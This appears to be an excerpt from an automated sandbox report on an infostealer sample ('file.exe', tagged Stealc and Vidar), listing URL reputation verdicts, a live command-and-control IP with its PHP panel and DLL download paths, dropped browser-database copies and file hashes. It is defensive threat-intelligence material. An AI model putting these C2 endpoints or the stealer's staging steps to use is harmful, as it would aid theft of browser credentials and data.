C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.100/	100%	URL Reputation	malware
http://185.215.113.100/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.100/e2b1563c6670f193.php	100%	URL Reputation	malware
http://185.215.113.100	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://185.215.113.100/e2b1563c6670f193.phpGO	100%	Avira URL Cloud	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://185.215.113.100/e2b1563c6670f193.phpion:	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpBrowser	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpst~	100%	Avira URL Cloud	malware
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.100/e2b1563c6670f193.phpl	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/mozglue.dll3h	100%	Avira URL Cloud	malware
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpX&	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/mozglue.dllkhY	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.php_O	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpst	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpC	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.php(	100%	Avira URL Cloud	malware
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpER	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.php=I%	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/msvcp140.dll4j	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.php0	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/freebl3.dll=io	100%	Avira URL Cloud	malware
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	0%	Avira URL Cloud	safe
http://185.215.113.100/e2b1563c6670f193.phpro	100%	Avira URL Cloud	malware
http://185.215.113.100/0d60be0de163924d/softokn3.dllpj	100%	Avira URL Cloud	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	0%	Avira URL Cloud	safe
http://185.215.113.100/0d60be0de163924d/nss3.dll%h	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.phpJJKKJJDAAAAAKFHJJOv	100%	Avira URL Cloud	malware
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	0%	Avira URL Cloud	safe
http://185.215.113.100e2b1563c6670f193.phpion:	0%	Avira URL Cloud	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	0%	Avira URL Cloud	safe
http://185.215.113.100/0d60be0de163924d/msvcp140.dllAj	100%	Avira URL Cloud	malware
http://185.215.113.100/e2b1563c6670f193.php=C	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.100/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.100/e2b1563c6670f193.phpGO	file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpst~	file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpl	file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpBrowser	file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/mozglue.dll3h	file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	BGIJJKKJJDAAAAAKFHJJ.0.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/0d60be0de163924d/mozglue.dllkhY	file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpX&	file.exe, 00000000.00000002.1670723245.0000000001152000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100	file.exe, 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1670723245.000000000110E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php_O	file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpst	file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpC	file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1682668265.000000001D566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1693966185.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.php(	file.exe, 00000000.00000002.1670723245.0000000001152000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpER	file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.php=I%	file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/msvcp140.dll4j	file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php0	file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/freebl3.dll=io	file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	DAAFIIJDAAAAKFHIDAAAKJJEGD.0.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpro	file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/0d60be0de163924d/softokn3.dllpj	file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000002.1688338227.0000000029625000.00000004.00000020.00020000.00000000.sdmp, BGIJJKKJJDAAAAAKFHJJ.0.dr	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DAAFIIJDAAAAKFHIDAAAKJJEGD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/0d60be0de163924d/nss3.dll%h	file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpJJKKJJDAAAAAKFHJJOv	file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44	file.exe, 00000000.00000002.1688338227.0000000029625000.00000004.00000020.00020000.00000000.sdmp, BGIJJKKJJDAAAAAKFHJJ.0.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.100e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1688338227.0000000029625000.00000004.00000020.00020000.00000000.sdmp, BGIJJKKJJDAAAAAKFHJJ.0.dr	false	URL Reputation: safe	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000002.1688338227.0000000029625000.00000004.00000020.00020000.00000000.sdmp, BGIJJKKJJDAAAAAKFHJJ.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	file.exe, 00000000.00000002.1688338227.0000000029625000.00000004.00000020.00020000.00000000.sdmp, BGIJJKKJJDAAAAAKFHJJ.0.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1688338227.0000000029625000.00000004.00000020.00020000.00000000.sdmp, BGIJJKKJJDAAAAAKFHJJ.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org	DAAFIIJDAAAAKFHIDAAAKJJEGD.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/0d60be0de163924d/msvcp140.dllAj	file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php=C	file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.100	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502269
Start date and time:	2024-08-31 22:04:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 107
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.100	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	wfJfUGeGT3.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	1p5yg5LO0h.exe	Get hash	malicious	Vidar	Browse
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	1p5yg5LO0h.exe	Get hash	malicious	Vidar	Browse
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKJKFBAFIDAEBFHJKJEBFCBFHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8475592208333753
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBOF30AvJ3qj/880C4pwE1:TeAFawNLopFgU10XJBORJ6px4p7
MD5:	BE99679A2B018331EACD3A1B680E3757
SHA1:	6E6732E173C91B0C3287AB4B161FE3676D33449A
SHA-256:	C382A020682EDEE086FBC56D11E70214964D39318774A19B184672E9FD0DD3E0
SHA-512:	9CFE1932522109D73602A342A15B7326A3E267B77FFF0FC6937B6DD35A054BF4C10ED79D34CA38D56330A5B325E08D8AFC786A8514C59ABB896864698B6DE099
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJJKKJJDAAAAAKFHJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CFCFCAAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAAFIIJDAAAAKFHIDAAAKJJEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBKJDBAAKJDGCBFHCFCG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDAAFIIJDAAAAKFHIDAAAKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGDGCGCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209886597424439
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8QbnVcxjONC4Je5Q:r2qOB1nxCkvSAELyKOMq+8QTQKC+
MD5:	EFD26666EAE0E87B32082FF52F9F4C5E
